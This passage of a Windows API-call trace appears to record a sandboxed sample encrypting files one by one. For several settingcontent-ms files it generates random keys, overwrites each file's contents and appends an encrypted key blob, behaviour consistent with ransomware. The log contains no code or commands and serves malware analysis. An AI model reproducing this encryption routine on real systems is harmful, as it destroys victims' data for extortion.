lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.312] CloseHandle (hObject=0x1c24) returned 1 [0194.314] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.314] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.314] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\ControlPanel.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.314] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6a90, nNumberOfBytesToRead=0x2e7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a90*, lpNumberOfBytesRead=0x2e1f9bc*=0x2e7, lpOverlapped=0x0) returned 1 [0194.316] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.316] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x2e7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2e7, lpOverlapped=0x0) returned 1 [0194.316] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2e7 [0194.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.316] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.316] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.316] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.317] CloseHandle (hObject=0x1c24) returned 1 [0194.318] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.318] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.318] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{FFA33B6C-DC4D-438C-893F-EBF44A09BFC0}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.318] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x37f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x37f, lpOverlapped=0x0) returned 1 [0194.319] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.320] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x37f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37f, lpOverlapped=0x0) returned 1 [0194.320] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37f [0194.320] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.320] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.320] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.320] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.321] CloseHandle (hObject=0x1c24) returned 1 [0194.323] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.323] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.323] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{FEFF8F5D-EB40-485d-AC2A-EB7942DDF624}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.323] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x38f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x38f, lpOverlapped=0x0) returned 1 [0194.324] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.325] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x38f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x38f, lpOverlapped=0x0) returned 1 [0194.325] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x38f [0194.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.325] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.325] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.326] CloseHandle (hObject=0x1c24) returned 1 [0194.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.327] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{FEBB9292-6110-4B9E-8565-91C4076E0A43}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.327] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x408, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x408, lpOverlapped=0x0) returned 1 [0194.328] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.328] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x408, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x408, lpOverlapped=0x0) returned 1 [0194.329] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x408 [0194.329] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.329] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.329] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.329] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.330] CloseHandle (hObject=0x1c24) returned 1 [0194.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.331] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{FE777427-D33C-485B-A414-3BD5A2943162}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.331] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d7, lpOverlapped=0x0) returned 1 [0194.333] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-983, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.333] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d7, lpOverlapped=0x0) returned 1 [0194.333] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d7 [0194.333] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.333] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.333] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.334] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.334] CloseHandle (hObject=0x1c24) returned 1 [0194.335] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.335] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.336] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{FD4FB8FA-F752-4E78-933B-8969E18BC9B5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.336] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x47c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47c, lpOverlapped=0x0) returned 1 [0194.345] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1148, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.345] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x47c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47c, lpOverlapped=0x0) returned 1 [0194.346] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47c [0194.346] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.346] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.346] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.347] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.347] CloseHandle (hObject=0x1c24) returned 1 [0194.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0194.349] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{FADA4BFB-4853-4547-B70F-1B565E7D907B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.349] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3aa, lpOverlapped=0x0) returned 1 [0194.351] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.351] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3aa, lpOverlapped=0x0) returned 1 [0194.351] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3aa [0194.352] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.352] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.352] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.352] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.352] CloseHandle (hObject=0x1c24) returned 1 [0194.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.354] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.354] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{F96E2F30-2018-4F0E-BBEE-7CCBEE8CE714}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.354] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b8, lpOverlapped=0x0) returned 1 [0194.358] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.359] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b8, lpOverlapped=0x0) returned 1 [0194.359] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b8 [0194.359] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.359] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.359] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.360] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.360] CloseHandle (hObject=0x1c24) returned 1 [0194.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0194.363] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{f82df8f7-8b9f-442e-a48c-818ea735ff9b}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.363] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x36e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x36e, lpOverlapped=0x0) returned 1 [0194.364] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-878, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.365] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x36e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x36e, lpOverlapped=0x0) returned 1 [0194.365] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x36e [0194.365] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.365] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.365] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.366] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.366] CloseHandle (hObject=0x1c24) returned 1 [0194.369] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.369] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.369] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{f6b6e965-e9b2-444b-9286-10c9152edbc5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.369] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x426, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x426, lpOverlapped=0x0) returned 1 [0194.379] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1062, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.379] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x426, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x426, lpOverlapped=0x0) returned 1 [0194.379] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x426 [0194.380] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.380] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.380] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.380] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.380] CloseHandle (hObject=0x1c24) returned 1 [0194.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.382] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{f56fbb39-e6d9-4b6d-9c29-ae82cff2925f}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.382] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, 